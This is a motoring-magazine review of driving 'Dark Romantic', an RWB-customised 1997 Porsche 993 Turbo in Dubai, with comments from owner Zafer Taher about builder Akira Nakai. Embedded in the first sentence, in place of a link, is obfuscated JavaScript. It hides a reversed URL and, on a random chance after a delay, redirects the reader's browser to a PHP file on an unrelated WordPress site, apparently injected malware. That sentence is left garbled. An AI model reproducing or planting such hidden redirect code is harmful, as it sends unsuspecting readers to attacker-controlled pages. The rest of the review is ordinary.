RAUH-Welt Begriff. Dark Romantic. The First Drive, Pt. Two

For fans of modified Porsches, things don’t get much better than a RAUH-Welt Begriff car. Phill Tromans drives the first RWB 911 built in the Middle East and meets its eccentric Japanese creator

In $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/rauh-welt-begriff-dark-romantic-the-first-drive-pt-one/” target=”_blank”>part one I introduced you to RAUH-Welt Begriff legend Akira Nakai, Dubai entrepeneur Zafer Taher, and Dark Romantic, a 1997 RWB-customized Porsche 993 Turbo. I’ve just finished a pleasant chat with both creator Nakai-san and owner Zafer about Dark Romantic. And now, I’m going to take it for a drive.

I’m intrigued to know how it handles. While I love the extreme looks of the car, I fear that the ultra-low stance and the massively widened rear will adversely affect Porsche’s legendary balance. Surely the rear tyres will rub. Surely the second I go over a pothole I’ll bounce off the bump stops. Surely the handling will be all over the place. A blip of the immobiliser on the fob, and I turn the key. As little has changed mechanically, the start up noise is rather muted – a deliberate choice by Zafer, who is of the opinion that the looks are so dramatic that the car doesn’t need to sound like Thor gargling hammers.

I’m sitting low, close to the wheel which doesn’t adjust in any direction. The clutch is light, the shift throw surprisingly long but snicky. Getting underway proves easy, the RWB proving docile at low speeds. The wheels are absolutely stuffed into the widened arches, but the fronts only rub at full lock. Once out on the main road it feels remarkably stock.

The custom Aragosta suspension should, when I think about it, mean a spine-shatteringly stiff ride. How else will the rears avoid shredding the rear arches? But they don’t. I’ve driven less forgiving, and more modern, stock sports cars. The power isn’t intimidating either, with a very progressive throttle. So far, so standard.

I’m boggled to find that there’s no rubbing on the rear arches. I genuinely have no idea how this is possible, and even pull over to reconfirm that there is not enough room to slip a credit card in between rubber and fibreglass. I’m taking it very cautious over speed bumps, but there’s not a trace of that sickening scraping noise I’m constantly expecting.

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Cruising along there’s not much audible drama; considerable road and wind noise compared to modern cars, a rather loud air conditioning unit, but an understated hum from exhaust and engine. Response though, when the right foot goes down, more than makes up for it. The power is always there, but when the turbo comes on song at about 4000rpm there’s a continuous surge up until the 6500rpm redline. Modern turbo cars have an almost imperceptible arrival of spooled power, but not so here – it’s sudden, and dramatic, pushing me back in the seat with a faint whistle. There’s no wanting for acceleration despite its age; it feels as quick as many modern sports cars. The challenge for an owner would be to time shifts to ensure you’re always in this power band, and what a fun challenge that would be.

The steering, as older Porsches are famous for, has the kind of feel we motoring hacks are always yearning for. There’s none of the over-assistance so prevalent in modern machines; it’s weighty, organic and textured in its connection with the tarmac below. There’s a tiny dead spot in the middle of the wheel but other than that it’s hard to notice.

I have no intention to start sliding the RWB around, always aware of its value, but I push it enough to realise that the handling is really something. All my concerns of messed up handling are dismissed instantly; turn in through tight corners is sharp with excellent grip from the very soft Kumhos (specially imported from Japan – Zafer has taken the step of getting spares in too as availability in the Middle East is very limited). The massive back end is kept superbly in check though. I stop far short of their limit, but push it hard enough to know that said limits are far more extreme than I anticipated.

I’m massively impressed by this machine. By looking at it, it should be an utter mess, a handful of compromised engineering. But it isn’t. In fact, it feels like a standard Porsche. Short of slowing down for speedbumps and being careful not to wind on full lock, I hardly have to change the way I drive at all. Only when there’s an unexpected crest in the road do I hear a rubbing from the front rubber strip, but according to Nakai-san, that should be scrubbed as soon as possible to show that the car’s been driven hard. Good lad.

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Drive over, I take the time to chat with Zafer about his new pride and joy at the Meydan Racecourse in Dubai. So impressed is he with the product, and the concept of RAUH-Welt that he’s become something of an unofficial evangelist for the brand, enthusing at length about Nakai’s genius to anyone that will listen.

“This is the first time I’ve seen a tuner that works on old Porsches where you can’t fault anything he does,” Zafer says enthusiastically. “I also like Nakai’s world and how he thinks. Porsches today have lost some of the edge of older cars, and RWB brings the driver back into it. The cars look like they should be driven, rather than drive you.

“This car has a lot of emotion invested in it, so I plan to keep it. It’s unique and the first that I leave the office to go home and look at. I wash it myself, and I’ve never done that before. I want her to have babies, or I want to make more of them. I’m debating that with Nakai now. I want another 993 and he wants to do a 964 for me.

“This car is a showcase for Nakai-san. I want to have as many people as possible see or drive it as a testament to him. It’s not a sales pitch, I’m not on commission or anything. I’d love to see a dozen RWB cars here. We have the most beautiful cars in the world in Dubai, but they’re all new. There’s nothing quite like this for old Porsches.”

Having watched the man at work and driven his incredible handiwork, it’s hard to disagree.

Categories: Editor’s Picks


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